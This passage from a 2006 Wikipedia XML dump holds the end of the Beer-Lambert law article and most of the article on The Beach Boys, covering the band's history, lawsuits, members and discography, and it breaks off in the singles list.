*''I''&lt;sub&gt;1&lt;/sub&gt; is the intensity after passing through the material
*''l'' is the distance that the light travels through the material (the [[path length]])
*''c'' is the [[concentration]] of absorbing species in the material 
*&amp;alpha; is the ''absorption coefficient'' or the [[molar absorptivity]] of the absorber
*&amp;lambda; is the [[wavelength]] of the light
*''k'' is the [[extinction coefficient]]

In essence, the law states that there is an exponential dependence between the transmission of light through a substance and the concentration of the substance, and also between the transmission and the length of material that the light travels through. Thus if ''l'' and &amp;alpha; are known, the concentration of a substance can be deduced from the amount of light transmitted by it.

The units of ''c'' and &amp;alpha; depend on the way that the concentration of the absorber is being expressed. If the material is a liquid, it is usual to express the absorber concentration ''c'' as a [[mole fraction]] i.e. a dimensionless fraction.  The units of &amp;alpha; are thus reciprocal length (e.g. cm&lt;sup&gt;-1&lt;/sup&gt;). In the case of a gas, ''c'' may be expressed as a density (units of reciprocal length cubed, e.g. cm&lt;sup&gt;-3&lt;/sup&gt;), in which case &amp;alpha; is an ''absorption cross-section'' and has units of length squared (e.g. cm&lt;sup&gt;2&lt;/sup&gt;). If concentration ''c'' is expressed in [[mole (unit)|mole]]s per unit [[volume]], &amp;alpha; is a [[molar absorptivity]] usually given in units of mol cm&lt;sup&gt;-2&lt;/sup&gt;.

The value of the absorption coefficient &amp;alpha; varies between different absorbing materials and also with wavelength for a particular material. It is usually determined by experiment.

The law tends to break down at very high concentrations, especially if the material is highly [[scattering]]. If the light is especially intense, [[nonlinear optics|nonlinear optical]] processes can also cause variances.

The law's link between concentration and light absorption is the basis behind the use of [[spectroscopy]] to identify substances.

==  Beer-Lambert law in the atmosphere ==

This law is also applied to describe the attenuation of solar radiation as it travels through the atmosphere. In this case, there is scattering of radiation as well as absorption. The Beer-Lambert law for the atmosphere is usually written

:&lt;math&gt;I_n=(I_o/R^2)\,\exp(-(k_a+k_g+k_{NO2}+k_w+k_{O3}+k_r) m)&lt;/math&gt; ,

where each &lt;math&gt;k_x&lt;/math&gt; is an extinction coefficient whose subscript identifies the source of the absorption or scattering it describes:

*&lt;math&gt;a&lt;/math&gt; refers to [[Particulate|aerosol]]s (that absorb and scatter)
*&lt;math&gt;g&lt;/math&gt; are uniformly mixed gases (mainly [[carbon dioxide]] (&lt;math&gt;CO_2&lt;/math&gt;)  and molecular [[oxygen]] (&lt;math&gt;O_2&lt;/math&gt;) which only absorb)
*&lt;math&gt;NO_2&lt;/math&gt; is [[nitrogen dioxide]], mainly due to urban pollution (absorption only)
*&lt;math&gt;w&lt;/math&gt; is [[water vapour]] absorption
*&lt;math&gt;O_3&lt;/math&gt; is [[ozone]] (absorption only)
*&lt;math&gt;r&lt;/math&gt; is [[Rayleigh scattering]] from molecular [[oxygen]] (&lt;math&gt;O_2&lt;/math&gt;) and [[nitrogen]] (&lt;math&gt;N_2&lt;/math&gt;) (responsible for the blue color of the sky).

&lt;math&gt;m&lt;/math&gt; is the ''optical mass'', a term basically equal to &lt;math&gt;1/\cos(\theta)&lt;/math&gt; where &lt;math&gt;\theta&lt;/math&gt; is the solar azimuth (the solar angle with respect to a direction perpendicular to the Earth's surface at the observation site).

This equation can be used to retrieve &lt;math&gt;k_a&lt;/math&gt;, the aerosol optical thickness, which is necessary for the correction of satellite images and also important in accounting for the role of aerosols in climate.

==History==
Beer's law was independently discovered (in various forms) by [[Pierre Bouguer]] in 1729, [[Johann Heinrich Lambert]] in 1760 and [[August Beer]] in 1852.

==See also==
*[[Logarithm]]
*[[Scientific laws named after people]]

[[Category:Optics]]
[[Category:Exponentials]]
[[Category:Eponymous laws]]
[[Category:Spectroscopy]]

[[de:Lambert-Beersches Gesetz]]
[[es:Ley_de_Beer-Lambert]]
[[fr:Loi de Beer-Lambert]]
[[it:Legge di Lambert-Beer]]
[[ru:Закон Бугера — Ламберта — Бера]]
[[sl:Absorpcijski zakon]]</text>
    </revision>
  </page>
  <page>
    <title>The Beach Boys</title>
    <id>4477</id>
    <revision>
      <id>42021735</id>
      <timestamp>2006-03-03T07:12:46Z</timestamp>
      <contributor>
        <ip>64.130.145.100</ip>
      </contributor>
      <comment>/* Mid-career brings a change in leadership */</comment>
      <text xml:space="preserve">'''The Beach Boys''' are a [[popular music|pop music]] group formed in [[Hawthorne, California]] in [[1961]] who are widely considered one of the most influential bands in rock and pop music history. They have recorded dozens of [[Top 40]] hits (including four US #1 singles), many best-selling albums, and were inducted into the [[Rock and Roll Hall of Fame]] in [[1988]].  

The original group comprised singer-musician-composer [[Brian Wilson]], his brothers [[Carl Wilson|Carl]] and [[Dennis Wilson|Dennis]], their cousin [[Mike Love]], and friend [[Alan Jardine]]. Many changes in both musical style and personnel have occurred in their sometimes-stormy career: Brian Wilson's [[mental illness]], [[drug addiction]] and eventual withdrawal from the group; the deaths of [[Dennis Wilson]] in 1983 and [[Carl Wilson]] in 1998; and continuing legal battles among surviving members of the group. 

[[As of 2006]], The Beach Boys continue to tour, with only one of the original members (Mike Love). 

==Early years==
The group was formed in 1961 in [[Hawthorne, California]] under the leadership of [[Brian Wilson]], and included his brothers [[Carl Wilson|Carl]] and [[Dennis Wilson|Dennis]], their cousin [[Mike Love]] and school friend [[Al Jardine]].  

The early inspirations of the group were the Wilsons' musician father, [[Murry Wilson|Murry]], and the close vocal harmonies of groups such as [[The Four Freshmen]]. The group performed initially as ''The Pendletones'', after the [[Pendleton Woolen Mills|Pendleton woolen shirts]] popular then. Although [[surfing]] motifs were very prominent in their early songs, Dennis was the sole actual surfer in the group. He suggested to his brothers that they do some songs celebrating his hobby and the lifestyle which had developed around it in Southern California.

At first Murry Wilson, by many accounts a hard-driving man, steered The Beach Boys' career, engineering their signing with [[Capitol Records]]. In 1964 Brian Wilson fired his father after a violent confrontation in the studio. Over the next few years they became increasingly estranged; when Murry Wilson died some years later, Brian and Dennis did not attend the funeral.
 
The Beach Boys' early material focused on the [[California]] youth lifestyle (e.g., &quot;All Summer Long&quot;, &quot;[[Fun, Fun, Fun]]&quot;), cars (&quot;[[Little Deuce Coupe (song)|Little Deuce Coupe]]&quot;) and of course [[surfing]] (&quot;Surfin' U.S.A.&quot;, &quot;Surfin' Safari,&quot; and many others). Although their music was bright and accessible, these early works contained remarkably sophisticated musical ideas. During this period, Brian Wilson rapidly progressed to become a melodist, arranger, and producer of world-renowned stature. Their early hits made them major pop stars in America and other countries, although their status as America's top pop group was challenged in 1964 by the emergence of [[The Beatles]], who became The Beach Boys' major creative rival.

Like the Beatles, the Beach Boys showed very fast development during the mid-'60s, drawing upon the innovations of songwriters and producers such as [[Burt Bacharach]] and especially [[Phil Spector]]. They produced the enduring classic &quot;[[California Girls]]&quot; in 1965, a banner year for popular music which also saw similarly advanced singles by the Beatles, [[the Rolling Stones]], [[the Byrds]], and [[James Brown (musician)|James Brown]]. But it was the Beach Boys' role to create a myth of American freedom and dreams of adolescence, and increasingly, to articulate a dread of what lay after adolescence.

==Brian's innovations and personal difficulties==
During 1964 Brian Wilson began to suffer [[anxiety]] attacks, and withdrew from touring to concentrate on song writing and record production. [[Bruce Johnston]] subsequently became a full-time member of the band, first replacing Wilson on the road, then contributing his talents in the studio.

Wilson's growing mastery of the recording studio and his increasingly sophisticated songs and complex arrangements reached an early peak with the acclaimed LP ''[[Pet Sounds]]'' ([[1966]]). Classic singles from that album, &quot;[[Wouldn't It Be Nice]]&quot; and &quot;[[God Only Knows]]&quot; (which featured Carl for the third time as sole lead vocalist, after &quot;Pom Pom Play Girl&quot; and &quot;Girl Don't Tell Me&quot;), showed Wilson's growing skill as a composer, [[orchestration|arranger]] and producer. &quot;God Only Knows&quot; is said to have been the first pop song ever released in the U.S. to have the word &quot;God&quot; in the title (because of which many a radio station in the U.S. refused to play it.) &quot;Caroline, No,&quot; also taken from ''Pet Sounds'', was issued as a Brian Wilson solo single, the only time Brian was credited as a solo artist during the early Capitol years.

The album's meticulously layered harmonies and inventive instrumentation (performed by the cream of Los Angeles [[session musician]]s known as [[The Wrecking Crew (music)|The Wrecking Crew]]) set a new standard for popular music. It remains one of the more evocative releases of the decade, with a distinctive strain of melancholy and nostalgia for youth. The album is still widely regarded as a classic and [[Paul McCartney]] has named it one of his favorite albums of all time, often saying that it was a major influence on the Beatles' album, ''[[Sgt. Pepper's Lonely Hearts Club Band]]''. Despite the critical praise it received, the album was poorly promoted by [[Capitol Records]] and failed to become the major hit Brian had hoped it would be (only reaching #10). Its failure to gain wide recognition hurt him deeply.

Because of his withdrawal from touring, Wilson was able to complete almost all the backing for the album while the Beach Boys were on tour in [[Japan]]. They returned to find a substantially complete album, requiring only their vocals to finish it off. There was some resistance from within the band to this new direction. Lead singer Love is reported to have been strongly opposed to it, partly because he feared the band would lose its audience if they changed their successful formula, and partly because he personally disliked the new material, which he famously criticised as &quot;Brian's [[ego]] music.&quot; At Love's insistence, Brian changed the title of one song from &quot;Hang on to Your Ego&quot; to &quot;I Know There's an Answer.&quot; Another likely factor in Love's antipathy to ''Pet Sounds'' was that Wilson worked extensively on it with outside lyricist [[Tony Asher]] rather than with him, even while he had written most of the lyrics for their earlier songs and who was the lead vocalist on most of their early hits.

Seeking to expand on the advances made on ''Pet Sounds'', Wilson began an even more ambitious project, originally dubbed ''Dumb Angel''. Its first fruit was &quot;[[Good Vibrations]],&quot; which Brian described as &quot;a pocket [[symphony]]&quot;. The song became the Beach Boys' biggest hit to date, and a U.S. and U.K. # 1 single in [[1966]]&amp;mdash;many critics consider it to be one of the best rock singles of all time. In [[1997]] it was named the &quot;Greatest Single of All Time&quot; by Mojo music magazine, in [[2000]], [[VH1]] placed it at number 8 on their &quot;100 Greatest Rock Songs&quot; list, and in late 2004 ''[[Rolling Stone]]'' magazine placed it at number 6 on their &quot;500 Best Songs of All Time&quot; list. It was also one of the more complex pop productions ever undertaken, and was reputed to have been the most expensive American single ever recorded, costing a reported $16,000 -- more than most pop ''albums'' of that time -- with sessions stretching over several months in at least three major studios.

In contrast to his work on ''Pet Sounds'', Wilson adopted a modular approach to &quot;Good Vibrations&quot; &amp;mdash; he broke the song into sections and taped multiple versions of each at different studios to take advantage of the different sound of each facility. He then assembled his favorite sections into a master backing track and added vocals. The song's innovative instrumentation included drums, organ, piano, tack piano, two basses, guitars, [[electro-theremin]], [[harmonica]], and [[cello]]. The group members recall the &quot;Good Vibrations&quot; vocal sessions as among the most demanding of their career.

Even as his personal life deteriorated, Wilson's musical output remained remarkable. The exact nature of his problems was a topic of much speculation. He abused drugs heavily, gained an enormous amount of weight, suffered long bouts of [[depression]], and became [[paranoia|paranoid]]. Several biographies have suggested that his father may have had [[bipolar]] disorder, and after years of suffering, Wilson's own condition was eventually diagnosed as [[schizophrenia]].

==The story behind &quot;Smile&quot;==
Shortly after completing &quot;Good Vibrations,&quot; Wilson met session musician and songwriter [[Van Dyke Parks]], and in late 1966 they began an intense collaboration that resulted in a suite of superb new songs for the Beach Boys' next album, which was eventually named ''[[Smile (Brian Wilson album)|Smile]]''. Using the same methods as on &quot;Good Vibrations,&quot; recording began in late 1966 and carried on into early 1967. Although the structure of the album and the exact running order of the songs have been subjects of endless speculation, it is apparent that Wilson and Parks intended ''Smile'' to be a continuous suite of songs that were linked both thematically and musically, with the main songs being linked together by small vocal pieces and instrumental segments that elaborated the musical themes of the major songs.

But the other Beach Boys -- especially Love -- found the new music too difficult and too far removed from their established style; another serious concern was that the new music was simply not feasible for live performance by the current Beach Boys lineup. Love was bitterly opposed to ''Smile'' and was particularly critical of Parks's lyrics; he has also since stated that he was becoming deeply concerned about Wilson's escalating drug intake. The problems came to a head during the recording of &quot;Cabinessence,&quot; when Love demanded that Parks explain the meaning of the closing refrain of the song, &quot;Over and over the crow cries uncover the cornfield.&quot; After a heated argument, Parks walked out and his partnership with Wilson came to an abrupt end.

Many factors combined to focus intense pressure on Wilson as ''Smile'' neared completion, including mental instability, drug use, the pressure to perform against fierce opposition to his new music, the relatively poor response to ''Pet Sounds'', Carl Wilson's [[military draft|draft]] resistance, and a major dispute with Capitol. Matters were complicated by his reliance on both prescription and illegal [[recreational drug use|drugs]], particularly [[marijuana]] and [[Amphetamine|amphetamines]], which only exacerbated his underlying mental health problems. 

Just weeks before The Beatles' ''[[Sgt Pepper's Lonely Hearts Club Band]]'' was released, ''Smile'' was shelved.  Over the next 30 years the legends surrounding ''Smile'' grew, until it became the most famous unreleased album in the history of popular music. Some of the tracks were salvaged and rerecorded at Brian's new home studio in drastically scaled-down versions. These were released, along with the completed versions of &quot;Good Vibrations&quot; and &quot;Heroes and Villains,&quot; on the LP ''[[Smiley Smile]]'', which would prove to be a critical and commercial disaster for the group.

''Smile'' itself, in its original conception, did not surface until Wilson and Parks completed the writing and Brian rerecorded it as a solo project in [[2004]]. However, despite the cancellation of ''Smile'', interest in the work remained high and versions of several major tracks -- including &quot;Our Prayer,&quot; &quot;Cabinessence,&quot; &quot;Cool, Cool Water,&quot; and &quot;Surf's Up&quot; -- were assembled by Carl Wilson over the next few years and included on later albums. The band was expecting to complete and release ''Smile'' even until [[1972]], when it became clear that only Brian would ever be able to make sense out of the endless fragments that were recorded. A substantial number of original tracks and linking fragments were included on the group's 30th anniversary CD boxed set in [[1993]].

==Mid-career brings a change in leadership==
As Wilson became increasingly withdrawn in the late 1960s and 1970s, his brother Carl gradually took over leadership of the band, and developed into an accomplished songwriter and producer. The 1967 album ''[[Wild Honey (album)|Wild Honey]]'' is regarded by many critics as a classic and features a cover of [[Stevie Wonder]]'s &quot;I Was Made to Love Her.&quot;  ''Wild Honey'' and its hit single &quot;Darlin'&quot; also marked the end of the Beach Boys as a major commercial entity, with subsequent releases faring far less well than those previous. Their image problems were not helped by the criticism that followed their forced withdrawal from the bill of the 1967 [[Monterey Pop Festival|Monterey International Pop Festival]] as a result of Carl's draft problems, an event which would undoubtedly have been crucial in establishing their new sound had they been able to play and to present their new material.

Despite Wilson's deteriorating health, the band continued to work, recording the albums ''Friends'' (1968) and ''20/20'' (1969), featuring lyrics on one song (&quot;Never Learn Not To Love&quot;, originally titled &quot;Cease to Exist&quot;) by [[Charles Manson]][http://www.snopes.com/risque/tattled/alliwant.asp], before finally breaking with Capitol and signing with [[Reprise Records]]. According to the liner notes for the 2004 version, Reprise expected ''Smile'' to be completed and released as part of the new contract. 

Their first two Reprise LPs were ''Sunflower'' ([[1970]]) and [[1971]]'s ''Surf's Up''. The addition of [[Ricky Fataar]] and [[Blondie Chaplin]] in [[1972]] led to the very un-Beach Boys-like ''Carl and the Passions-&quot;So Tough&quot;'', a unique, R&amp;B-flavored LP that was a dramatic departure in sound for the band. The slightly more traditional ''Holland'' of 1973 received mixed reviews. The album's lead single &quot;Sail on Sailor,&quot; a brief return to the collaboration between Parks and Wilson, was one of the more emblematic of Beach Boys songs; it hit the charts in both [[1973]] and [[1975]].  Recent statements by Parks on Wilson's message board, however, suggest that the song was not really worked on by Wilson, but rather that Wilson gave him a few chords with a small melody.  Parks claims that part of the reason it was so heavily stressed to be a mostly Wilson composition (indeed, Parks had to sue to gain any credits at all) is because Warner Brothers had demanded Wilson return to writing music and to the front of the band-something Wilson was not willing to do.

In the summer of 1974 Capitol, in consultation with Love, released a double album compilation of the Beach Boys' pre-''Pet Sounds'' hits, entitled ''[[Endless Summer (album)|Endless Summer]]''. Helped by a sunny, colorful graphic cover, it caught the mood of the country and surged to #1 on the [[Billboard]] album chart, becoming their first gold record since &quot;Good Vibrations&quot;, and stayed on the album chart for three years. [http://www.mp3.com/albums/1194/summary.html] The following year another compilation, ''[[Spirit of America]]'', also did well. These sales performances demonstrated that the classic Beach Boys sound was back in fashion.

In [[1975]], the Beach Boys staged a highly successful joint concert tour with [[Chicago (band)|Chicago]], with each group performing some of the other's songs, including their previous year's collaboration on Chicago's hit &quot;Wishing You Were Here&quot;.

In [[1977]] the Beach Boys released the LP ''Love You'', a collection of songs that reflected both Wilson's continuing retreat from the world (&quot;[[Johnny Carson]],&quot; &quot;[[Solar System]]&quot;) and his continued introspection (&quot;Airplane,&quot; &quot;The Night Was So Young&quot;). &quot;If Mars had life on it/I might find my wife on it&quot; from &quot;Solar System&quot; sums up the oddball preoccupations of ''Love You'', which has since gained the status of a classic within the Beach Boys' oeuvre.  

The group and its tours remained popular, even as they came to be viewed primarily as a nostalgia act. Many problems affected their later career, none more so than Wilson's continuing drug and mental health problems. Although he appeared sporadically with them in concert, he contributed little to their performances or recordings. Despite a much-publicised &quot;Brian's Back&quot; campaign in the late '70s, most critics believed the group was past their prime. Many expected that Wilson would one day become the latest in a long line of celebrity drug casualties.

==Deaths of Dennis and Carl Wilson==
In the late 70s Dennis Wilson also began to suffer increasingly from drug and alcohol abuse, and some of the group's concert appearances were marred when he and other band members showed up onstage drunk or drugged. The band was forced to publicly apologise after a shambolic performance in [[Sydney]] in [[1979]] during which several members of the group appeared to be drunk. In spite of his own frequent drinking, Dennis Wilson managed to release his first solo work, ''[[Pacific Ocean Blue]]'', and to launch the now famed work-in-progess ''[[Bamboo]]'', with friend and musician [[Carli Muñoz]]. 

In [[1980]], the Beach Boys played a [[Fourth of July]] concert on the [[National Mall]] in [[Washington, D.C.]] before a vast crowd. This tradition continued for the next two years, but in [[1983]] [[Secretary of the Interior]] [[James G. Watt|James Watt]] banned the group from playing on the Mall, saying that rock concerts drew &quot;an undesirable element&quot;. [http://www.signonsandiego.com/uniontrib/20040725/news_m1a25timelin.html] This drew howls of outrage from the many of the Beach Boys' American fans, who stated that the Beach Boys sound was a very ''desirable'' part of the American cultural fabric. [[First Lady of the United States|First Lady]] [[Nancy Reagan]] apologized, and in [[1985]] the group appeared on the Mall again. The group most recently appeared on the Mall in [[2005]] for the [[Fourth of July]] concert.

Dennis Wilson's problems had escalated in the early 1980s and he accidentally drowned in late 1983 while diving from his boat as he drunkenly tried to recover items he had previously thrown overboard. 

Despite Dennis Wilson's death, The Beach Boys soldiered on, and they enjoyed a resurgence of interest later in the 1980s, assisted by tributes such as the [[David Lee Roth]] version of &quot;California Girls&quot;; they scored their first #1 in 22 years with the [[1988]] song &quot;[[Kokomo (song)|Kokomo]],&quot; which was featured on the soundtrack of the hit [[Tom Cruise]] movie ''[[Cocktail_(movie)|Cocktail]]'' and which became their biggest-selling hit ever. In [[1996]] they guested with [[Status Quo (band)|Status Quo]] on a re-recording of ''[[Fun Fun Fun]]'', which was a British Top 30 hit. 

Members of the band appeared on [[sitcom]]s such as ''[[Full House]]'' (starring sometime drummer [[John Stamos]]) and ''[[Home Improvement]]'' in the [[1990s]], as well as touring occasionally, but their declining career contrasted dramatically with the massive public interest and rabid critical praise that followed Brian's gradual return to touring in the 1990s. The critically acclaimed documentary ''[[I Just Wasn't Made For These Times]]'', important in restoring Wilson's reputation, saw him performing for the first time with his now adult daughters, [[Wendy Wilson|Wendy]] and [[Carnie Wilson|Carnie]], and included glowing tributes to his talents from a host of major music stars of the '60s, '70s, and '80s.

Tragedy struck the Wilson family again in 1998 when Carl Wilson died of [[lung cancer]]. Although Love and Johnston continue to tour as The Beach Boys, no other original members accompany them.

==Personnel changes through the years ==

From the start, The Beach Boys have undergone many variations in composition, being represented by fill-ins as often as not. Wilson neighbor [[David Marks]] appeared on their first four albums and was a member from 1962 to 1963 as a temporary replacement for Jardine, who had left the group to pursue a career in dentistry. Marks rejoined the band in 1997, during Carl Wilson's last illness, and remained with them for two years.  

[[Glen Campbell]] toured for several months with the group in 1965, as a touring replacement for Brian, who had played bass in concert. Campbell was subsequently replaced by [[Bruce Johnston]], who later became a permanent member. During the mid-1970s drummer [[Ricky Fataar]] and guitarist [[Blondie Chaplin]] joined the band. 

Though not official members, The Beach Boys' supporting band has featured many notable musicians over the years. Keyboard player [[Daryl Dragon]], later famous as half of the pop duo [[Captain &amp; Tennille]], toured with the band, along with his future wife [[Toni Tennille]]. [[Carli Muñoz]], who had been playing percussion with the band since 1970, in 1971 replaced [[Daryl Dragon]] as keyboard player until 1981. [[Jeff Foskett]] joined the touring band in 1981 as a guitarist and vocalist and remained with the group until 1990. [[Billy Hinsche]], of [[Dino, Desi &amp; Billy]] fame, was also a longtime member of the supporting band throughout the '70s, '80s, and '90s.

Some of the changes in The Beach Boys' organization were less formal. They enjoyed a casual collaboration with fellow Southern Californians [[Jan and Dean]]. Much to the consternation of other band members, Wilson composed &quot;[[Surf City]]&quot; and gave the song, without compensation, to Dean Torrence. Jan and Dean, at the time not nearly as popular as The Beach Boys, recorded the song and scored their first number one single, long before the Beach Boys reached the same milestone. Years later, Torrence happened upon the studio where the Beach Boys were recording their &quot;Beach Boys' Party!&quot; album. He joined in the singing, and can be heard singing harmony in the &quot;Barbara Ann&quot; cut from that album.

Despite the deaths of two original Beach Boys, the band continues to this very day, one of the busiest bands on the circuits. Love and Johnston have often hinted at a new Beach Boys studio album, but as of this writing at the end of 2005, nothing has yet appeared.

To the surprise and delight of fans around the world, Wilson has mounted several major tours under his own name with a band containing members of [[The Wondermints]] and led by former Beach Boys guitarist [[Jeff Foskett]] plus other supporting musicians. Their note-perfect live performances of the entire ''Pet Sounds'' album earned some of the most glowing concert reviews of Wilson's career, with some commentators calling the shows &quot;the concert of a lifetime&quot;. In 2003 and 2004, he and Van Dyke Parks reunited to complete the unfinished sections of ''Smile'', and in 2004 Wilson and his band toured the world performing a live concert version of the album. They then recorded a new studio version of ''Smile'' using vintage recording equipment and including sessions at the fabled [[Sunset Sound Studios]] in [[Hollywood]], where some of the original recordings were made.

Jardine toured for a while with the Beach Boys Family &amp; Friends (which for legal reasons quickly became Alan Jardine Family &amp; Friends Beach Band), featuring his sons Matt and Adam, Wilson's daughters [[Carnie Wilson|Carnie]] and [[Wendy Wilson|Wendy]], and Carl's brother-in-law Billy Hinsche, among others. Jardine now tours with the Endless Summer Band which includes his two sons, Hinsche, and several other performers.

==The Beach Boys in the courts== 

Many legal problems arose from Wilson's psychological issues. In the mid 1970s the band hired controversial therapist [[Eugene Landy]] in an attempt to help him. Landy did achieve some significant improvements in Wilson's overall condition; from his own admissions about his massive drug intake, it's highly likely that Wilson would have died if Landy had not intervened. He successfully treated Wilson's drug dependence, and by 1987 Wilson had recovered sufficiently to record his first solo album. But Landy became increasingly possessive of his star patient and was fired after it became apparent that he was using his control over Wilson for his own benefit.

In addition to the challenges over the use of the band's name and over the best way to care for Wilson, there were three significant legal cases involving the Beach Boys in recent years. The first was Wilson's suit to reclaim the rights to his songs and the group's publishing company, Sea Of Tunes, which he had signed away to his father in 1967. He successfully argued that he had not been mentally fit to make an informed decision and ownership of the catalog reverted to him.

The second lawsuit stemmed from Wilson's reclamation of his publishing rights. Soon after he won his case, Mike Love sued him to gain credit for his co-authorship of a number of important Beach Boys songs, including &quot;Catch A Wave,&quot; &quot;I Get Around,&quot; &quot;When I Grow Up,&quot; &quot;Be True To Your School,&quot; &quot;Help Me Rhonda,&quot; &quot;I Know There's An Answer,&quot; and numerous others. In interviews, Mike revealed that on some songs he wrote most of the lyrics, on others only a line or two.

In November 2005, Love filed another lawsuit against Wilson. Love alleges that the UK publication The Mail on Sunday and Wilson’s representatives gave the false impression to the readers of The Mail on Sunday that their joint promotional giveaway of nearly three million copies of the CD called &quot;Good Vibrations&quot; was authorized by Mike Love and The Beach Boys. This free CD, Love alleges, includes five of Love and Wilson’s co-authored hit Beach Boys songs, and was done to promote Wilson's solo CD, ''Smile''. Love also says that ''Smile'' and &quot;Good Vibrations&quot; were marketed using The Beach Boys’ names and images without permission. He is seeking several million dollars in damages, and also a million dollars to cover costs of advertising to correct the perceived damage to the band's reputation.

Love has stated: “Once again the people around Brian, my cousin and collaborator on many hits, who I love and care about, have used him for their own financial gain without regard to his rights, or my rights, or even the rights of the estates of his deceased brothers, Carl and Dennis, and their children... Unfortunately, history repeats itself. Because of Brian’s mental issues he has always been vulnerable to manipulation. I simply want to stop the infringers and stop the deception!”[http://enjoyment.independent.co.uk/music/features/article327663.ece]

There has been speculation that Love's lawsuit is an attempt to pressure Wilson into agreeing to let him continue to use the profitable Beach Boys name for his and Johnstone's touring efforts [http://enjoyment.independent.co.uk/music/features/article327663.ece]. 

Wilson’s website listed the following statement in response: “The lawsuit against Brian is meritless. While he will vigorously defend himself he is deeply saddened that his cousin Mike Love has sunk to these depths for his own financial gain.”

==Awards and designations==
The group was inducted into the [[Rock and Roll Hall of Fame]] in 1988 (see [http://www.rockhall.com/hof/inductee.asp?id=65 here]) and into the [[Vocal Group Hall of Fame]] in 1998 (see [http://www.vghf.com/Inductees/beach_boys.htm here]).

==Members==

===Core members===
*[[Brian Wilson]] (1961&amp;ndash;present) -- still officially a member though not a touring member
*[[Carl Wilson]] (1961&amp;ndash;1998)
*[[Dennis Wilson]] (1961&amp;ndash;1983)
*[[Mike Love]] (1961&amp;ndash;present)
*[[Alan Jardine]] (1961&amp;ndash;62, 1963&amp;ndash;present) -- still officially a member though not a touring member
*[[Bruce Johnston]] (1965&amp;ndash;72, 1978&amp;ndash;present)

===Past Members===
*[[David Marks]] (1962&amp;ndash;63, 1997&amp;ndash;99)
*[[Ricky Fataar]] (1972&amp;ndash;1974)
*[[Blondie Chaplin]] (1972&amp;ndash;1973)
*[[Glen Campbell]] (1965) -- touring member only

===Supporting Band Members===

(&quot;The Beach Boys Band&quot;) -- ''members of the current touring band along with Love and Johnston''
*[[Mike Kowalski]] (1968&amp;ndash;present) - drums/percussion
*[[Chris Farmer]] (1995&amp;ndash;present) -  bass, baritone/tenor vocals
*[[Tim Bonhomme]] (1996&amp;ndash;present) - keyboards, bass/baritone vocals, Dennis Wilson's vocal parts
*[[John Cowsill]] (2000&amp;ndash;present) - keyboards, tenor/falsetto vocals, Carl Wilson's and Al Jardine's vocal parts
*[[Scott Totten]] (2000&amp;ndash;present) - lead guitar, tenor/falsetto vocals, Carl Wilson's vocal parts
*[[Randell Kirsch]] (2004&amp;ndash;present) - guitar, falsetto vocals, Brian and Carl Wilson's vocal parts

==Discography==

===Studio albums===
*''[[Surfin' Safari]]'' (1962)  #32 US
*''[[Surfin' USA]]'' (1963)  #2 US, #17 UK
*''[[Surfer Girl]]'' (1963)  #7 US, #13 UK
*''[[Little Deuce Coupe]]'' (1963)  #4 US
*''[[Shut Down Volume 2]]'' (1964)  #13 US
*''[[All Summer Long]]'' (1964)  #4 US
*''[[The Beach Boys' Christmas Album]]'' (1964)  #6 US X-mas
*''[[The Beach Boys Today!]]'' (1965)  #4 US, #6 UK
*''[[Summer Days (and Summer Nights!!)]]'' (1965)  #2 US, #4 UK
*''[[Beach Boys' Party!]]'' (1965)  #6 US, #3 UK
*''[[Pet Sounds]]'' (1966)  #10 US, #2 UK
*''[[Smiley Smile]]'' (1967)  #41 US, #9 UK
*''[[Wild Honey]]'' (1967)  #24 US, #7 UK
*''[[Friends (album)|Friends]]'' (1968)  #126 US, #13 UK
*''[[20/20 (album)|20/20]]'' (1969)  #68 US, #3 UK
*''[[Sunflower (album)|Sunflower]]'' (1970)  #151 US, #29 UK
*''[[Surf's Up]]'' (1971)  #29 US, #15 UK
*''[[Carl and the Passions - &quot;So Tough&quot;]]'' (1972)  #50 US, #25 UK
*''[[Holland (album)|Holland]]'' (1973)  #36 US, #20 UK
*''[[15 Big Ones]]'' (1976)  #8 US, #31 UK
*''[[Love You]]'' (1977)  #53 US, #28 UK
*''[[M.I.U. Album]]'' (1978)  #151 US
*''[[L.A. (Light Album)]]'' (1979)  #100 US, #32 UK
*''[[Keepin' the Summer Alive]]'' (1980)  #75 US, #54 UK
*''[[The Beach Boys (album)|The Beach Boys]]'' (1985)  #52 US, #60 UK
*''[[Still Cruisin']]'' (1989)  #46 US
*''[[Summer in Paradise]]'' (1992)
*''[[Stars and Stripes Vol. 1]]'' (1996)  #101 US

===Live albums===
*''[[Beach Boys Concert]]'' (1964)  #1 US
*''[[Live in London (The Beach Boys)|Live in London]]'' (1970) (released in America in 1976)  #75 US
*''[[The Beach Boys in Concert]]'' (1973)  #25 US
*''[[Good Timin': Live at Knebworth England 1980]]'' (2002)

===Compilations===
*''[[Best of The Beach Boys]]'' (1966) #8 US; #2 UK
*''[[Best of The Beach Boys Vol. 2]]'' (1967) #50 US; #3 UK
*''[[Best of The Beach Boys Vol. 3]]'' (1968) #153 US; #9 UK
*''[[Endless Summer (album)|Endless Summer]]'' (1974 - unofficial)  #1 US 
*''[[Spirit of America (album)|Spirit of America]]'' (1975 - unofficial) #8 US
*''[[Good Vibrations - Best of The Beach Boys]]'' (1975) #25 US
*''[[Ten Years of Harmony]]'' (1981) US #156
*''[[Sunshine Dream]]'' (1982) US #180
*''[[Made in U.S.A.]]'' (1986) US #96
*''[[Ultimate Christmas]]'' (1998) 
*''[[The Greatest Hits - Volume 1: 20 Good Vibrations]]'' (1999)  #95 US
*''[[The Greatest Hits - Volume 2: 20 More Good Vibrations]]'' (1999)  #192 US
*''[[Greatest Hits Volume Three: Best of the Brother Years 1970-1986]]'' (2000)
*''[[Classics selected by Brian Wilson]]'' (2002)  #159 US
*''[[Sounds of Summer: The Very Best of The Beach Boys]]'' (2003)  #16 US

===Anthologies===
*''[[Endless Harmony Soundtrack]]'' (1998, reissued 2000)
*''[[Hawthorne, CA (album)|Hawthorne, CA]]'' (2001)

===Boxed sets===
*''[[Good Vibrations: Thirty Years of The Beach Boys]]'' (1993)
*''[[The Pet Sounds Sessions]]'' (1997)

===Singles===
# Surfin’/Luau  (X-301/[[8 December]] [[1961]]) '''US: 75'''
# 409/Surfin’ Safari  (Capitol 4777/[[4 June]] [[1962]]) '''US: 14'''
# Ten Little Indians/County Fair  (Capitol 4880/[[19 November]] [[1962]]) '''US: 49'''
# Surfin’ U.S.A./Shut Down  (Capitol 4932/[[4 March]] [[1963]]) '''US: 3'''; '''UK: 34'''
# Surfer Girl/Little Deuce Coupe  (Capitol 5009/[[22 July]] [[1963]]) '''US: 7'''
